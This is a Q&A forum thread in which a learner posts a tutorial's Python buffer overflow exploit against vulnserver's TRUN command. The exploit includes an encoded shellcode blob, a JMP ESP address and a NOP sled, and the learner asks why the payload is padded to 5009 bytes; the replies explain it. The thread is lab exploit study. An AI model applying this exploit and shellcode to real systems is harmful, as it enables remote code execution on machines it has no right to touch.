3

I was doing vulnserver bufferflow exploit. I saw a tutorial where the he makes a payload to exploit the server.

Take a look at the exploit:

#!/usr/bin/python

import socket


target_ip = "10.0.2.4"

port = 9999


shellcode =  ""
shellcode += "\xda\xcd\xbf\x6f\x21\x1b\xab\xd9\x74\x24\xf4\x58\x2b"
shellcode += "\xc9\xb1\x52\x31\x78\x17\x83\xc0\x04\x03\x17\x32\xf9"
shellcode += "\x5e\x1b\xdc\x7f\xa0\xe3\x1d\xe0\x28\x06\x2c\x20\x4e"
shellcode += "\x43\x1f\x90\x04\x01\xac\x5b\x48\xb1\x27\x29\x45\xb6"
shellcode += "\x80\x84\xb3\xf9\x11\xb4\x80\x98\x91\xc7\xd4\x7a\xab"
shellcode += "\x07\x29\x7b\xec\x7a\xc0\x29\xa5\xf1\x77\xdd\xc2\x4c"
shellcode += "\x44\x56\x98\x41\xcc\x8b\x69\x63\xfd\x1a\xe1\x3a\xdd"
shellcode += "\x9d\x26\x37\x54\x85\x2b\x72\x2e\x3e\x9f\x08\xb1\x96"
shellcode += "\xd1\xf1\x1e\xd7\xdd\x03\x5e\x10\xd9\xfb\x15\x68\x19"
shellcode += "\x81\x2d\xaf\x63\x5d\xbb\x2b\xc3\x16\x1b\x97\xf5\xfb"
shellcode += "\xfa\x5c\xf9\xb0\x89\x3a\x1e\x46\x5d\x31\x1a\xc3\x60"
shellcode += "\x95\xaa\x97\x46\x31\xf6\x4c\xe6\x60\x52\x22\x17\x72"
shellcode += "\x3d\x9b\xbd\xf9\xd0\xc8\xcf\xa0\xbc\x3d\xe2\x5a\x3d"
shellcode += "\x2a\x75\x29\x0f\xf5\x2d\xa5\x23\x7e\xe8\x32\x43\x55"
shellcode += "\x4c\xac\xba\x56\xad\xe5\x78\x02\xfd\x9d\xa9\x2b\x96"
shellcode += "\x5d\x55\xfe\x39\x0d\xf9\x51\xfa\xfd\xb9\x01\x92\x17"
shellcode += "\x36\x7d\x82\x18\x9c\x16\x29\xe3\x77\x13\xae\xe9\x82"
shellcode += "\x4b\xac\xed\xaf\xa2\x39\x0b\xc5\xa4\x6f\x84\x72\x5c"
shellcode += "\x2a\x5e\xe2\xa1\xe0\x1b\x24\x29\x07\xdc\xeb\xda\x62"
shellcode += "\xce\x9c\x2a\x39\xac\x0b\x34\x97\xd8\xd0\xa7\x7c\x18"
shellcode += "\x9e\xdb\x2a\x4f\xf7\x2a\x23\x05\xe5\x15\x9d\x3b\xf4"
shellcode += "\xc0\xe6\xff\x23\x31\xe8\xfe\xa6\x0d\xce\x10\x7f\x8d"
shellcode += "\x4a\x44\x2f\xd8\x04\x32\x89\xb2\xe6\xec\x43\x68\xa1"
shellcode += "\x78\x15\x42\x72\xfe\x1a\x8f\x04\x1e\xaa\x66\x51\x21"
shellcode += "\x03\xef\x55\x5a\x79\x8f\x9a\xb1\x39\xaf\x78\x13\x34"
shellcode += "\x58\x25\xf6\xf5\x05\xd6\x2d\x39\x30\x55\xc7\xc2\xc7"
shellcode += "\x45\xa2\xc7\x8c\xc1\x5f\xba\x9d\xa7\x5f\x69\x9d\xed"

payload ="TRUN /.:/"
payload += 2003 * "A" #junk
payload += "\xc7\x11\x50\x62" # 0x625011c7 -> JMP ESP
payload += 40 * "\x90" #nopsled
payload += shellcode
payload += (5009 - len(payload)) * "C"


try:
        
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_ip,port))
    s.send(payload)
    print "[+] " + str(len(payload)) + " Bytes Sent"
    
except:
    print "[-] Crashed"

I can clearly understand that he made a padding("A"*2003) to overwrite the stack. but I didn't understand the arithmetic operation he did in the following line.

payload += (5009 - len(payload)) * "C"

why does he have to do this. exploit is working without it. what is 5009 here? Please tell me if you know. by the way, Article--> HERE

1

The autor started with 5009 bytes ("TRUN /.:/" + 5000 * 'A') so later when the actual shell code was added to the payload, the code ((5009 - len(payload)) * "C") is added to maintain the original length of the payload that caused the crash.

If it works without - great, but why add additional variable/unknown to the pwning equation if you know that this length (5009) of data does work.

6
  • Can you please provide me some resource on the internet to read the explanation? – lucky thandel Aug 15 '20 at 12:54
  • what kind of explanation you expect? – Paweł Łukasik Aug 15 '20 at 15:31
  • Like a particle one, where someone actually uses this technique and exploit a buff overflow vulnerability. – lucky thandel Aug 15 '20 at 15:59
  • It's just a matter to fill up the buffer to the original size. There's nothing fancy here. – Paweł Łukasik Aug 15 '20 at 16:15
  • "The autor started with 5009 bytes ("TRUN /.:/" + 5000 * 'A')" is incorrect. The author started with 2012 bytes, i.e. "TRUN /.:/" + 2003 * 'A' – fpmurphy Aug 20 '20 at 15:22

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.